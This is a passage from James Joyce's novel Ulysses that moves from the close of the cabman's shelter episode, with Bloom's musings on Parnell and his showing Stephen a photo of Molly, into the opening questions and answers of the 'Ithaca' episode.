occasion when they broke +up the type in the INSUPPRESSIBLE or was it UNITED IRELAND, a privilege +he keenly appreciated, and, in point of fact, handed him his silk hat +when it was knocked off and he said THANK YOU, excited as he undoubtedly +was under his frigid exterior notwithstanding the little misadventure +mentioned between the cup and the lip: what's bred in the bone. Still as +regards return. You were a lucky dog if they didn't set the terrier at +you directly you got back. Then a lot of shillyshally usually followed, +Tom for and Dick and Harry against. And then, number one, you came up +against the man in possession and had to produce your credentials like +the claimant in the Tichborne case, Roger Charles Tichborne, BELLA was +the boat's name to the best of his recollection he, the heir, went down +in as the evidence went to show and there was a tattoo mark too in Indian +ink, lord Bellew was it, as he might very easily have picked up the +details from some pal on board ship and then, when got up to tally with +the description given, introduce himself with: EXCUSE ME, MY NAME IS SO +AND SO or some such commonplace remark. A more prudent course, as Bloom +said to the not over effusive, in fact like the distinguished personage +under discussion beside him, would have been to sound the lie of the land +first. + +--That bitch, that English whore, did for him, the shebeen proprietor +commented. She put the first nail in his coffin. + +--Fine lump of a woman all the same, the SOI-DISANT townclerk Henry +Campbell remarked, and plenty of her. She loosened many a man's thighs. I +seen her picture in a barber's. The husband was a captain or an officer. + +--Ay, Skin-the-Goat amusingly added, he was and a cottonball one. + +This gratuitous contribution of a humorous character occasioned a fair +amount of laughter among his ENTOURAGE. As regards Bloom he, without the +faintest suspicion of a smile, merely gazed in the direction of the door +and reflected upon the historic story which had aroused extraordinary +interest at the time when the facts, to make matters worse, were made +public with the usual affectionate letters that passed between them full +of sweet nothings. First it was strictly Platonic till nature intervened +and an attachment sprang up between them till bit by bit matters came to +a climax and the matter became the talk of the town till the staggering +blow came as a welcome intelligence to not a few evildisposed, however, +who were resolved upon encompassing his downfall though the thing was +public property all along though not to anything like the sensational +extent that it subsequently blossomed into. Since their names were +coupled, though, since he was her declared favourite, where was the +particular necessity to proclaim it to the rank and file from the +housetops, the fact, namely, that he had shared her bedroom which came +out in the witnessbox on oath when a thrill went through the packed court +literally electrifying everybody in the shape of witnesses swearing to +having witnessed him on such and such a particular date in the act of +scrambling out of an upstairs apartment with the assistance of a ladder +in night apparel, having gained admittance in the same fashion, a fact +the weeklies, addicted to the lubric a little, simply coined shoals of +money out of. Whereas the simple fact of the case was it was simply a +case of the husband not being up to the scratch, with nothing in common +between them beyond the name, and then a real man arriving on the scene, +strong to the verge of weakness, falling a victim to her siren charms and +forgetting home ties, the usual sequel, to bask in the loved one's +smiles. The eternal question of the life connubial, needless to say, +cropped up. Can real love, supposing there happens to be another chap in +the case, exist between married folk? Poser. Though it was no concern of +theirs absolutely if he regarded her with affection, carried away by a +wave of folly. A magnificent specimen of manhood he was truly augmented +obviously by gifts of a high order, as compared with the other military +supernumerary that is (who was just the usual everyday FAREWELL, MY +GALLANT CAPTAIN kind of an individual in the light dragoons, the l8th +hussars to be accurate) and inflammable doubtless (the fallen leader, +that is, not the other) in his own peculiar way which she of course, +woman, quickly perceived as highly likely to carve his way to fame which +he almost bid fair to do till the priests and ministers of the gospel as +a whole, his erstwhile staunch adherents, and his beloved evicted tenants +for whom he had done yeoman service in the rural parts of the country by +taking up the cudgels on their behalf in a way that exceeded their most +sanguine expectations, very effectually cooked his matrimonial goose, +thereby heaping coals of fire on his head much in the same way as the +fabled ass's kick. Looking back now in a retrospective kind of +arrangement all seemed a kind of dream. And then coming back was the +worst thing you ever did because it went without saying you would feel +out of place as things always moved with the times. Why, as he reflected, +Irishtown strand, a locality he had not been in for quite a number of +years looked different somehow since, as it happened, he went to reside +on the north side. North or south, however, it was just the wellknown +case of hot passion, pure and simple, upsetting the applecart with a +vengeance and just bore out the very thing he was saying as she also was +Spanish or half so, types that wouldn't do things by halves, passionate +abandon of the south, casting every shred of decency to the winds. + +--Just bears out what I was saying, he, with glowing bosom said to +Stephen, about blood and the sun. And, if I don't greatly mistake she was +Spanish too. + +--The king of Spain's daughter, Stephen answered, adding something or +other rather muddled about farewell and adieu to you Spanish onions and +the first land called the Deadman and from Ramhead to Scilly was so and +so many. + +--Was she? Bloom ejaculated, surprised though not astonished by any +means, I never heard that rumour before. Possible, especially there, it +was as she lived there. So, Spain. + +Carefully avoiding a book in his pocket SWEETS OF, which reminded him by +the by of that Cap l street library book out of date, he took out his +pocketbook and, turning over the various contents it contained rapidly +finally he. + +--Do you consider, by the by, he said, thoughtfully selecting a faded +photo which he laid on the table, that a Spanish type? + +Stephen, obviously addressed, looked down on the photo showing a large +sized lady with her fleshy charms on evidence in an open fashion as she +was in the full bloom of womanhood in evening dress cut ostentatiously +low for the occasion to give a liberal display of bosom, with more than +vision of breasts, her full lips parted and some perfect teeth, standing +near, ostensibly with gravity, a piano on the rest of which was IN OLD +MADRID, a ballad, pretty in its way, which was then all the vogue. Her +(the lady's) eyes, dark, large, looked at Stephen, about to smile about +something to be admired, Lafayette of Westmoreland street, Dublin's +premier photographic artist, being responsible for the esthetic +execution. + +--Mrs Bloom, my wife the PRIMA DONNA Madam Marion Tweedy, Bloom +indicated. Taken a few years since. In or about ninety six. Very like her +then. + +Beside the young man he looked also at the photo of the lady now his 1440 +legal wife who, he intimated, was the accomplished daughter of Major +Brian Tweedy and displayed at an early age remarkable proficiency as a +singer having even made her bow to the public when her years numbered +barely sweet sixteen. As for the face it was a speaking likeness in +expression but it did not do justice to her figure which came in for a +lot of notice usually and which did not come out to the best advantage in +that getup. She could without difficulty, he said, have posed for the +ensemble, not to dwell on certain opulent curves of the. He dwelt, being +a bit of an artist in his spare time, on the female form in general +developmentally because, as it so happened, no later than that afternoon +he had seen those Grecian statues, 1450 perfectly developed as works of +art, in the National Museum. Marble could give the original, shoulders, +back, all the symmetry, all the rest. Yes, puritanisme, it does though +Saint Joseph's sovereign thievery alors (Bandez!) Figne toi trop. Whereas +no photo could because it simply wasn't art in a word. + +The spirit moving him he would much have liked to follow Jack Tar's good +example and leave the likeness there for a very few minutes to speak for +itself on the plea he so that the other could drink in the beauty for +himself, her stage presence being, frankly, a treat in itself which the +camera could not at all do justice to. But it was scarcely professional +etiquette so. Though it was a warm pleasant sort of a night now yet +wonderfully cool for the season considering, for sunshine after storm. +And he did feel a kind of need there and then to follow suit like a kind +of inward voice and satisfy a possible need by moving a motion. +Nevertheless he sat tight just viewing the slightly soiled photo creased +by opulent curves, none the worse for wear however, and looked away +thoughtfully with the intention of not further increasing the other's +possible embarrassment while gauging her symmetry of heaving EMBONPOINT. +In fact the slight soiling was only an added charm like the case of linen +slightly soiled, good as new, much better in fact with the starch out. +Suppose she was gone when he? I looked for the lamp which she told me +came into his mind but merely as a passing fancy of his because he then +recollected the morning littered bed etcetera and the book about Ruby +with met him pike hoses (SIC) in it which must have fell down +sufficiently appropriately beside the domestic chamberpot with apologies +to Lindley Murray. + +The vicinity of the young man he certainly relished, educated, DISTINGUE +and impulsive into the bargain, far and away the pick of the bunch though +you wouldn't think he had it in him yet you would. Besides he said the +picture was handsome which, say what you like, it was though at the +moment she was distinctly stouter. And why not? An awful lot of +makebelieve went on about that sort of thing involving a lifelong slur +with the usual splash page of gutterpress about the same old matrimonial +tangle alleging misconduct with professional golfer or the newest stage +favourite instead of being honest and aboveboard about the whole +business. How they were fated to meet and an attachment sprang up between +the two so that their names were coupled in the public eye was told in +court with letters containing the habitual mushy and compromising +expressions leaving no loophole to show that they openly cohabited two or +three times a week at some wellknown seaside hotel and relations, when +the thing ran its normal course, became in due course intimate. Then the +decree NISI and the King's proctor tries to show cause why and, he +failing to quash it, NISI was made absolute. But as for that the two +misdemeanants, wrapped up as they largely were in one another, could +safely afford to ignore it as they very largely did till the matter was +put in the hands of a solicitor who filed a petition for the party +wronged in due course. He, B, enjoyed the distinction of being close to +Erin's uncrowned king in the flesh when the thing occurred on the +historic FRACAS when the fallen leader's, who notoriously stuck to his +guns to the last drop even when clothed in the mantle of adultery, +(leader's) trusty henchmen to the number of ten or a dozen or possibly +even more than that penetrated into the printing works of the +INSUPPRESSIBLE or no it was UNITED IRELAND (a by no means by the by +appropriate appellative) and broke up the typecases with hammers or +something like that all on account of some scurrilous effusions from the +facile pens of the O'Brienite scribes at the usual mudslinging occupation +reflecting on the erstwhile tribune's private morals. Though palpably a +radically altered man he was still a commanding figure though carelessly +garbed as usual with that look of settled purpose which went a long way +with the shillyshallyers till they discovered to their vast discomfiture +that their idol had feet of clay after placing him upon a pedestal which +she, however, was the first to perceive. As those were particularly hot +times in the general hullaballoo Bloom sustained a minor injury from a +nasty prod of some chap's elbow in the crowd that of course congregated +lodging some place about the pit of the stomach, fortunately not of a +grave character. His hat (Parnell's) a silk one was inadvertently knocked +off and, as a matter of strict history, Bloom was the man who picked it +up in the crush after witnessing the occurrence meaning to return it to +him (and return it to him he did with the utmost celerity) who panting +and hatless and whose thoughts were miles away from his hat at the time +all the same being a gentleman born with a stake in the country he, as a +matter of fact, having gone into it more for the kudos of the thing than +anything else, what's bred in the bone instilled into him in infancy at +his mother's knee in the shape of knowing what good form was came out at +once because he turned round to the donor and thanked him with perfect +APLOMB, saying: THANK YOU, SIR, though in a very different tone of voice +from the ornament of the legal profession whose headgear Bloom also set +to rights earlier in the course of the day, history repeating itself with +a difference, after the burial of a mutual friend when they had left him +alone in his glory after the grim task of having committed his remains to +the grave. + +On the other hand what incensed him more inwardly was the blatant jokes +of the cabman and so on who passed it all off as a jest, laughing 1530 +immoderately, pretending to understand everything, the why and the +wherefore, and in reality not knowing their own minds, it being a case +for the two parties themselves unless it ensued that the legitimate +husband happened to be a party to it owing to some anonymous letter from +the usual boy Jones, who happened to come across them at the crucial +moment in a loving position locked in one another's arms, drawing +attention to their illicit proceedings and leading up to a domestic +rumpus and the erring fair one begging forgiveness of her lord and master +upon her knees and promising to sever the connection and not receive his +visits any more if only the aggrieved husband would overlook the matter +and let bygones be bygones with tears in her eyes though possibly with +her tongue in her fair cheek at the same time as quite possibly there +were several others. He personally, being of a sceptical bias, believed +and didn't make the smallest bones about saying so either that man or men +in the plural were always hanging around on the waiting list about a +lady, even supposing she was the best wife in the world and they got on +fairly well together for the sake of argument, when, neglecting her +duties, she chose to be tired of wedded life and was on for a little +flutter in polite debauchery to press their attentions on her with +improper intent, the upshot being that her affections centred on another, +the cause of many LIAISONS between still attractive married women getting +on for fair and forty and younger men, no doubt as several famous cases +of feminine infatuation proved up to the hilt. + +It was a thousand pities a young fellow, blessed with an allowance of +brains as his neighbour obviously was, should waste his valuable time +with profligate women who might present him with a nice dose to last him +his lifetime. In the nature of single blessedness he would one day take +unto himself a wife when Miss Right came on the scene but in the interim +ladies' society was a CONDITIO SINE QUA NON though he had the gravest +possible doubts, not that he wanted in the smallest to pump Stephen about +Miss Ferguson (who was very possibly the particular lodestar who brought +him down to Irishtown so early in the morning), as to whether he would +find much satisfaction basking in the boy and girl courtship idea and the +company of smirking misses without a penny to their names bi or triweekly +with the orthodox preliminary canter of complimentplaying and walking out +leading up to fond lovers' ways and flowers and chocs. To think of him +house and homeless, rooked by some landlady worse than any stepmother, +was really too bad at his age. The queer suddenly things he popped out +with attracted the elder man who was several years the other's senior or +like his father but something substantial he certainly ought to eat even +were it only an eggflip made on unadulterated maternal nutriment or, +failing that, the homely Humpty Dumpty boiled. + +--At what o'clock did you dine? he questioned of the slim form and tired +though unwrinkled face. + +--Some time yesterday, Stephen said. + +--Yesterday! exclaimed Bloom till he remembered it was already tomorrow +Friday. Ah, you mean it's after twelve! + +--The day before yesterday, Stephen said, improving on himself. + +Literally astounded at this piece of intelligence Bloom reflected. Though +they didn't see eye to eye in everything a certain analogy there somehow +was as if both their minds were travelling, so to speak, in the one train +of thought. At his age when dabbling in politics roughly some score of +years previously when he had been a QUASI aspirant to parliamentary +honours in the Buckshot Foster days he too recollected in retrospect +(which was a source of keen satisfaction in itself) he had a sneaking +regard for those same ultra ideas. For instance when the evicted tenants +question, then at its first inception, bulked largely in people's mind +though, it goes without saying, not contributing a copper or pinning his +faith absolutely to its dictums, some of which wouldn't exactly hold +water, he at the outset in principle at all events was in thorough +sympathy with peasant possession as voicing the trend of modern opinion +(a partiality, however, which, realising his mistake, he was subsequently +partially cured of) and even was twitted with going a step farther than +Michael Davitt in the striking views he at one time inculcated as a +backtothelander, which was one reason he strongly resented the innuendo +put upon him in so barefaced a fashion by our friend at the gathering of +the clans in Barney Kiernan's so that he, though often considerably +misunderstood and the least pugnacious of mortals, be it repeated, +departed from his customary habit to give him (metaphorically) one in the +gizzard though, so far as politics themselves were concerned, he was only +too conscious of the casualties invariably resulting from propaganda and +displays of mutual animosity and the misery and suffering it entailed as +a foregone conclusion on fine young fellows, chiefly, destruction of the +fittest, in a word. + +Anyhow upon weighing up the pros and cons, getting on for one, as it was, +it was high time to be retiring for the night. The crux was it was a bit +risky to bring him home as eventualities might possibly ensue (somebody +having a temper of her own sometimes) and spoil the hash altogether as on +the night he misguidedly brought home a dog (breed unknown) with a lame +paw (not that the cases were either identical or the reverse though he +had hurt his hand too) to Ontario Terrace as he very distinctly +remembered, having been there, so to speak. On the other hand it was +altogether far and away too late for the Sandymount or Sandycove +suggestion so that he was in some perplexity as to which of the two +alternatives. Everything pointed to the fact that it behoved him to avail +himself to the full of the opportunity, all things considered. His +initial impression was he was a shade standoffish or not over effusive +but it grew on him someway. For one thing he mightn't what you call jump +at the idea, if approached, and what mostly worried him was he didn't +know how to lead up to it or word it exactly, supposing he did entertain +the proposal, as it would afford him very great personal pleasure if he +would allow him to help to put coin in his way or some wardrobe, if found +suitable. At all events he wound up by concluding, eschewing for the +nonce hidebound precedent, a cup of Epps's cocoa and a shakedown for the +night plus the use of a rug or two and overcoat doubled into a pillow at +least he would be in safe hands and as warm as a toast on a trivet he +failed to perceive any very vast amount of harm in that always with the +proviso no rumpus of any sort was kicked up. A move had to be made +because that merry old soul, the grasswidower in question who appeared to +be glued to the spot, didn't appear in any particular hurry to wend his +way home to his dearly beloved Queenstown and it was highly likely some +sponger's bawdyhouse of retired beauties where age was no bar off Sheriff +street lower would be the best clue to that equivocal character's +whereabouts for a few days to come, alternately racking their feelings +(the mermaids') with sixchamber revolver anecdotes verging on the +tropical calculated to freeze the marrow of anybody's bones and mauling +their largesized charms betweenwhiles with rough and tumble gusto to the +accompaniment of large potations of potheen and the usual blarney about +himself for as to who he in reality was let x equal my right name and +address, as Mr Algebra remarks PASSIM. At the same time he inwardly +chuckled over his gentle repartee to the blood and ouns champion about +his god being a jew. People could put up with being bitten by a wolf but +what properly riled them was a bite from a sheep. The most vulnerable +point too of tender Achilles. Your god was a jew. Because mostly they +appeared to imagine he came from Carrick-on-Shannon or somewhereabouts in +the county Sligo. + +--I propose, our hero eventually suggested after mature reflection while +prudently pocketing her photo, as it's rather stuffy here you just come +home with me and talk things over. My diggings are quite close in the +vicinity. You can't drink that stuff. Do you like cocoa? Wait. I'll just +pay this lot. + +The best plan clearly being to clear out, the remainder being plain +sailing, he beckoned, while prudently pocketing the photo, to the keeper +of the shanty who didn't seem to. + +--Yes, that's the best, he assured Stephen to whom for the matter of that +Brazen Head or him or anywhere else was all more or less. + +All kinds of Utopian plans were flashing through his (B's) busy brain, +education (the genuine article), literature, journalism, prize titbits, +up to date billing, concert tours in English watering resorts packed with +hydros and seaside theatres, turning money away, duets in Italian with +the accent perfectly true to nature and a quantity of other things, no +necessity, of course, to tell the world and his wife from the housetops +about it, and a slice of luck. An opening was all was wanted. Because he +more than suspected he had his father's voice to bank his hopes on which +it was quite on the cards he had so it would be just as well, by the way +no harm, to trail the conversation in the direction of that particular +red herring just to. + +The cabby read out of the paper he had got hold of that the former +viceroy, earl Cadogan, had presided at the cabdrivers' association dinner +in London somewhere. Silence with a yawn or two accompanied this +thrilling announcement. Then the old specimen in the corner who appeared +to have some spark of vitality left read out that sir Anthony MacDonnell +had left Euston for the chief secretary's lodge or words to that effect. +To which absorbing piece of intelligence echo answered why. + +--Give us a squint at that literature, grandfather, the ancient mariner +put in, manifesting some natural impatience. + +--And welcome, answered the elderly party thus addressed. + +The sailor lugged out from a case he had a pair of greenish goggles which +he very slowly hooked over his nose and both ears. + +--Are you bad in the eyes? the sympathetic personage like the townclerk +queried. + +--Why, answered the seafarer with the tartan beard, who seemingly was a +bit of a literary cove in his own small way, staring out of seagreen +portholes as you might well describe them as, I uses goggles reading. +Sand in the Red Sea done that. One time I could read a book in the dark, +manner of speaking. THE ARABIAN NIGHTS ENTERTAINMENT was my favourite and +RED AS A ROSE IS SHE. + +Hereupon he pawed the journal open and pored upon Lord only knows what, +found drowned or the exploits of King Willow, Iremonger having made a +hundred and something second wicket not out for Notts, during which time +(completely regardless of Ire) the keeper was intensely occupied +loosening an apparently new or secondhand boot which manifestly pinched +him as he muttered against whoever it was sold it, all of them who were +sufficiently awake enough to be picked out by their facial expressions, +that is to say, either simply looking on glumly or passing a trivial +remark. + +To cut a long story short Bloom, grasping the situation, was the first to +rise from his seat so as not to outstay their welcome having first and +foremost, being as good as his word that he would foot the bill for the +occasion, taken the wise precaution to unobtrusively motion to mine host +as a parting shot a scarcely perceptible sign when the others were not +looking to the effect that the amount due was forthcoming, making a grand +total of fourpence (the amount he deposited unobtrusively in four +coppers, literally the last of the Mohicans), he having previously +spotted on the printed pricelist for all who ran to read opposite him in +unmistakable figures, coffee 2d, confectionery do, and honestly well +worth twice the money once in a way, as Wetherup used to remark. + +--Come, he counselled to close the SEANCE. + +Seeing that the ruse worked and the coast was clear they left the shelter +or shanty together and the ELITE society of oilskin and company whom +nothing short of an earthquake would move out of their DOLCE FAR NIENTE. +Stephen, who confessed to still feeling poorly and fagged out, paused at +the, for a moment, the door. + +--One thing I never understood, he said to be original on the spur of the +moment. Why they put tables upside down at night, I mean chairs upside +down, on the tables in cafes. To which impromptu the neverfailing Bloom +replied without a moment's hesitation, saying straight off: + +--To sweep the floor in the morning. + +So saying he skipped around, nimbly considering, frankly at the same time +apologetic to get on his companion's right, a habit of his, by the bye, +his right side being, in classical idiom, his tender Achilles. The night +air was certainly now a treat to breathe though Stephen was a bit weak on +his pins. + +--It will (the air) do you good, Bloom said, meaning also the walk, in a +moment. The only thing is to walk then you'll feel a different man. Come. +It's not far. Lean on me. + +Accordingly he passed his left arm in Stephen's right and led him on +accordingly. + +--Yes, Stephen said uncertainly because he thought he felt a strange kind +of flesh of a different man approach him, sinewless and wobbly and all +that. + +Anyhow they passed the sentrybox with stones, brazier etc. where the +municipal supernumerary, ex Gumley, was still to all intents and purposes +wrapped in the arms of Murphy, as the adage has it, dreaming of fresh +fields and pastures new. And APROPOS of coffin of stones the analogy was +not at all bad as it was in fact a stoning to death on the part of +seventytwo out of eighty odd constituencies that ratted at the time of +the split and chiefly the belauded peasant class, probably the selfsame +evicted tenants he had put in their holdings. + +So they turned on to chatting about music, a form of art for which Bloom, +as a pure amateur, possessed the greatest love, as they made tracks arm +in arm across Beresford place. Wagnerian music, though confessedly grand +in its way, was a bit too heavy for Bloom and hard to follow at the first +go-off but the music of Mercadante's HUGUENOTS, Meyerbeer's SEVEN LAST +WORDS ON THE CROSS and Mozart's TWELFTH MASS he simply revelled in, the +GLORIA in that being, to his mind, the acme of first class music as such, +literally knocking everything else into a cocked hat. He infinitely +preferred the sacred music of the catholic church to anything the +opposite shop could offer in that line such as those Moody and Sankey +hymns or BID ME TO LIVE AND I WILL LIVE THY PROTESTANT TO BE. He also +yielded to none in his admiration of Rossini's STABAT MATER, a work +simply abounding in immortal numbers, in which his wife, Madam Marion +Tweedy, made a hit, a veritable sensation, he might safely say, greatly +adding to her other laureis and putting the others totally in the shade, +in the jesuit fathers' church in upper Gardiner street, the sacred +edifice being thronged to the doors to hear her with virtuosos, or +VIRTUOSI rather. There was the unanimous opinion that there was none to +come up to her and suffice it to say in a place of worship for music of a +sacred character there was a generally voiced desire for an encore. On +the whole though favouring preferably light opera of the DON GIOVANNI +description and MARTHA, a gem in its line, he had a PENCHANT, though with +only a surface knowledge, for the severe classical school such as +Mendelssohn. And talking of that, taking it for granted he knew all about +the old favourites, he mentioned PAR EXCELLENCE Lionel's air in MARTHA, +M'APPARI, which, curiously enough, he had heard or overheard, to be more +accurate, on yesterday, a privilege he keenly appreciated, from the lips +of Stephen's respected father, sung to perfection, a study of the number, +in fact, which made all the others take a back seat. Stephen, in reply to +a politely put query, said he didn't sing it but launched out into +praises of Shakespeare's songs, at least of in or about that period, the +lutenist Dowland who lived in Fetter lane near Gerard the herbalist, who +ANNO LUDENDO HAUSI, DOULANDUS, an instrument he was contemplating +purchasing from Mr Arnold Dolmetsch, whom B. did not quite recall though +the name certainly sounded familiar, for sixtyfive guineas and Farnaby +and son with their DUX and COMES conceits and Byrd (William) who played +the virginals, he said, in the Queen's chapel or anywhere else he found +them and one Tomkins who made toys or airs and John Bull. + +On the roadway which they were approaching whilst still speaking beyond +the swingchains a horse, dragging a sweeper, paced on the paven ground, +brushing a long swathe of mire up so that with the noise Bloom was not +perfectly certain whether he had caught aright the allusion to sixtyfive +guineas and John Bull. He inquired if it was John Bull the political +celebrity of that ilk, as it struck him, the two identical names, as a +striking coincidence. + +By the chains the horse slowly swerved to turn, which perceiving, Bloom, +who was keeping a sharp lookout as usual, plucked the other's sleeve +gently, jocosely remarking: + +--Our lives are in peril tonight. Beware of the steamroller. + +They thereupon stopped. Bloom looked at the head of a horse not worth +anything like sixtyfive guineas, suddenly in evidence in the dark quite +near so that it seemed new, a different grouping of bones and even flesh +because palpably it was a fourwalker, a hipshaker, a blackbuttocker, a +taildangler, a headhanger putting his hind foot foremost the while the +lord of his creation sat on the perch, busy with his thoughts. But such a +good poor brute he was sorry he hadn't a lump of sugar but, as he wisely +reflected, you could scarcely be prepared for every emergency that might +crop up. He was just a big nervous foolish noodly kind of a horse, +without a second care in the world. But even a dog, he reflected, take +that mongrel in Barney Kiernan's, of the same size, would be a holy +horror to face. But it was no animal's fault in particular if he was +built that way like the camel, ship of the desert, distilling grapes into +potheen in his hump. Nine tenths of them all could be caged or trained, +nothing beyond the art of man barring the bees. Whale with a harpoon +hairpin, alligator tickle the small of his back and he sees the joke, +chalk a circle for a rooster, tiger my eagle eye. These timely +reflections anent the brutes of the field occupied his mind somewhat +distracted from Stephen's words while the ship of the street was +manoeuvring and Stephen went on about the highly interesting old. + +--What's this I was saying? Ah, yes! My wife, he intimated, plunging IN +MEDIAS RES, would have the greatest of pleasure in making your +acquaintance as she is passionately attached to music of any kind. + +He looked sideways in a friendly fashion at the sideface of Stephen, +image of his mother, which was not quite the same as the usual handsome +blackguard type they unquestionably had an insatiable hankering after as +he was perhaps not that way built. + +Still, supposing he had his father's gift as he more than suspected, it +opened up new vistas in his mind such as Lady Fingall's Irish industries, +concert on the preceding Monday, and aristocracy in general. + +Exquisite variations he was now describing on an air YOUTH HERE HAS END +by Jans Pieter Sweelinck, a Dutchman of Amsterdam where the frows come +from. Even more he liked an old German song of JOHANNES JEEP about the +clear sea and the voices of sirens, sweet murderers of men, which boggled +Bloom a bit: + + + VON DER SIRENEN LISTIGKEIT + TUN DIE POETEN DICHTEN. + + +These opening bars he sang and translated EXTEMPORE. Bloom, nodding, said +he perfectly understood and begged him to go on by all means which he +did. + +A phenomenally beautiful tenor voice like that, the rarest of boons, +which Bloom appreciated at the very first note he got out, could easily, +if properly handled by some recognised authority on voice production such +as Barraclough and being able to read music into the bargain, command its +own price where baritones were ten a penny and procure for its fortunate +possessor in the near future an ENTREE into fashionable houses in the +best residential quarters of financial magnates in a large way of +business and titled people where with his university degree of B. A. (a +huge ad in its way) and gentlemanly bearing to all the more influence the +good impression he would infallibly score a distinct success, being +blessed with brains which also could be utilised for the purpose and +other requisites, if his clothes were properly attended to so as to the +better worm his way into their good graces as he, a youthful tyro in-- +society's sartorial niceties, hardly understood how a little thing like +that could militate against you. It was in fact only a matter of months +and he could easily foresee him participating in their musical and +artistic CONVERSAZIONES during the festivities of the Christmas season, +for choice, causing a slight flutter in the dovecotes of the fair sex and +being made a lot of by ladies out for sensation, cases of which, as he +happened to know, were on record--in fact, without giving the show away, +he himself once upon a time, if he cared to, could easily have. Added to +which of course would be the pecuniary emolument by no means to be +sneezed at, going hand in hand with his tuition fees. Not, he +parenthesised, that for the sake of filthy lucre he need necessarily +embrace the lyric platform as a walk in life for any lengthy space of +time. But a step in the required direction it was beyond yea or nay and +both monetarily and mentally it contained no reflection on his dignity in +the smallest and it often turned in uncommonly handy to be handed a +cheque at a muchneeded moment when every little helped. Besides, though +taste latterly had deteriorated to a degree, original music like that, +different from the conventional rut, would rapidly have a great vogue as +it would be a decided novelty for Dublin's musical world after the usual +hackneyed run of catchy tenor solos foisted on a confiding public by Ivan +St Austell and Hilton St Just and their GENUS OMNE. Yes, beyond a shadow +of a doubt he could with all the cards in his hand and he had a capital +opening to make a name for himself and win a high place in the city's +esteem where he could command a stiff figure and, booking ahead, give a +grand concert for the patrons of the King street house, given a backerup, +if one were forthcoming to kick him upstairs, so to speak, a big IF, +however, with some impetus of the goahead sort to obviate the inevitable +procrastination which often tripped -up a too much feted prince of good +fellows. And it need not detract from the other by one iota as, being his +own master, he would have heaps of time to practise literature in his +spare moments when desirous of so doing without its clashing with his +vocal career or containing anything derogatory whatsoever as it was a +matter for himself alone. In fact, he had the ball at his feet and that +was the very reason why the other, possessed of a remarkably sharp nose +for smelling a rat of any sort, hung on to him at all. + +The horse was just then. And later on at a propitious opportunity he +purposed (Bloom did), without anyway prying into his private affairs on +the FOOLS STEP IN WHERE ANGELS principle, advising him to sever his +connection with a certain budding practitioner who, he noticed, was prone +to disparage and even to a slight extent with some hilarious pretext when +not present, deprecate him, or whatever you like to call it which in +Bloom's humble opinion threw a nasty sidelight on that side of a person's +character, no pun intended. + +The horse having reached the end of his tether, so to speak, halted and, +rearing high a proud feathering tail, added his quota by letting fall on +the floor which the brush would soon brush up and polish, three smoking +globes of turds. Slowly three times, one after another, from a full +crupper he mired. And humanely his driver waited till he (or she) had +ended, patient in his scythed car. + +Side by side Bloom, profiting by the CONTRETEMPS, with Stephen passed +through the gap of the chains, divided by the upright, and, stepping over +a strand of mire, went across towards Gardiner street lower, Stephen +singing more boldly, but not loudly, the end of the ballad. + + + UND ALLE SCHIFFE BRUCKEN. + + +The driver never said a word, good, bad or indifferent, but merely +watched the two figures, as he sat on his lowbacked car, both black, one +full, one lean, walk towards the railway bridge, TO BE MARRIED BY FATHER +MAHER. As they walked they at times stopped and walked again continuing +their TETE-A-TETE (which, of course, he was utterly out of) about sirens +enemies of man's reason, mingled with a number of other topics of the +same category, usurpers, historical cases of the kind while the man in +the sweeper car or you might as well call it in the sleeper car who in +any case couldn't possibly hear because they were too far simply sat in +his seat near the end of lower Gardiner street AND LOOKED AFTER THEIR +LOWBACKED CAR. + + + * * * * * * * + + +What parallel courses did Bloom and Stephen follow returning? + +Starting united both at normal walking pace from Beresford place they +followed in the order named Lower and Middle Gardiner streets and +Mountjoy square, west: then, at reduced pace, each bearing left, +Gardiner's place by an inadvertence as far as the farther corner of +Temple street: then, at reduced pace with interruptions of halt, bearing +right, Temple street, north, as far as Hardwicke place. Approaching, +disparate, at relaxed walking pace they crossed both the circus before +George's church diametrically, the chord in any circle being less than +the arc which it subtends. + +Of what did the duumvirate deliberate during their itinerary? + +Music, literature, Ireland, Dublin, Paris, friendship, woman, +prostitution, diet, the influence of gaslight or the light of arc and +glowlamps on the growth of adjoining paraheliotropic trees, exposed +corporation emergency dustbuckets, the Roman catholic church, +ecclesiastical celibacy, the Irish nation, jesuit education, careers, the +study of medicine, the past day, the maleficent influence of the +presabbath, Stephen's collapse. + +Did Bloom discover common factors of similarity between their respective +like and unlike reactions to experience? + +Both were sensitive to artistic impressions, musical in preference to +plastic or pictorial. Both preferred a continental to an insular manner +of life, a cisatlantic to a transatlantic place of residence. Both +indurated by early domestic training and an inherited tenacity of +heterodox resistance professed their disbelief in many orthodox +religious, national, social and ethical doctrines. Both admitted the +alternately stimulating and obtunding influence of heterosexual +magnetism. + +Were their views on some points divergent? + +Stephen dissented openly from Bloom's views on the importance of dietary +and civic selfhelp while Bloom dissented tacitly from Stephen's views on +the eternal affirmation of the spirit of man in literature. Bloom +assented covertly to Stephen's rectification of the anachronism involved +in assigning the date of the conversion of the Irish nation to +christianity from druidism by Patrick son of Calpornus, son of Potitus, +son of Odyssus, sent by pope Celestine I in the year 432 in the reign of +Leary to the year 260 or thereabouts in the reign of Cormac MacArt (died +266 A.D.), suffocated by imperfect deglutition of aliment at Sletty and +interred at Rossnaree. The collapse which Bloom ascribed to gastric +inanition and certain chemical compounds of varying degrees of +adulteration and alcoholic strength, accelerated by mental exertion and +the velocity of rapid circular motion in a relaxing atmosphere, Stephen +attributed to the reapparition of a matutinal cloud (perceived by both +from two different points of observation Sandycove and Dublin) at first +no bigger than a woman's hand. + +Was there one point on which their views were equal and negative? + +The influence of gaslight or electric light on the growth of adjoining +paraheliotropic trees. + +Had Bloom discussed similar subjects during nocturnal perambulations in +the past? + +In 1884 with Owen Goldberg and Cecil Turnbull at night on public +thoroughfares between Longwood avenue and Leonard's corner and Leonard's +corner and Synge street and Synge street and Bloomfield avenue. + +In 1885 with Percy Apjohn in the evenings, reclined against the wall +between Gibraltar villa and Bloomfield house in Crumlin, barony of +Uppercross. In 1886 occasionally with casual acquaintances and +prospective purchasers on doorsteps, in front parlours, in third class +railway carriages of suburban lines. In 1888 frequently with major Brian +Tweedy and his daughter Miss Marion Tweedy, together and separately on +the lounge in Matthew Dillon's house in Roundtown. Once in 1892 and once +in 1893 with Julius (Juda) Mastiansky, on both occasions in the parlour +of his (Bloom's) house in Lombard street, west. + +What reflection concerning the irregular sequence of dates 1884, 1885, +1886, 1888, 1892, 1893, 1904 did Bloom make before their arrival at their +destination? + +He reflected that the progressive extension of the field of individual +development and experience was regressively accompanied by a restriction +of the converse domain of interindividual relations. + +As in what ways? + +From inexistence to existence he came to many and was as one received: +existence with existence 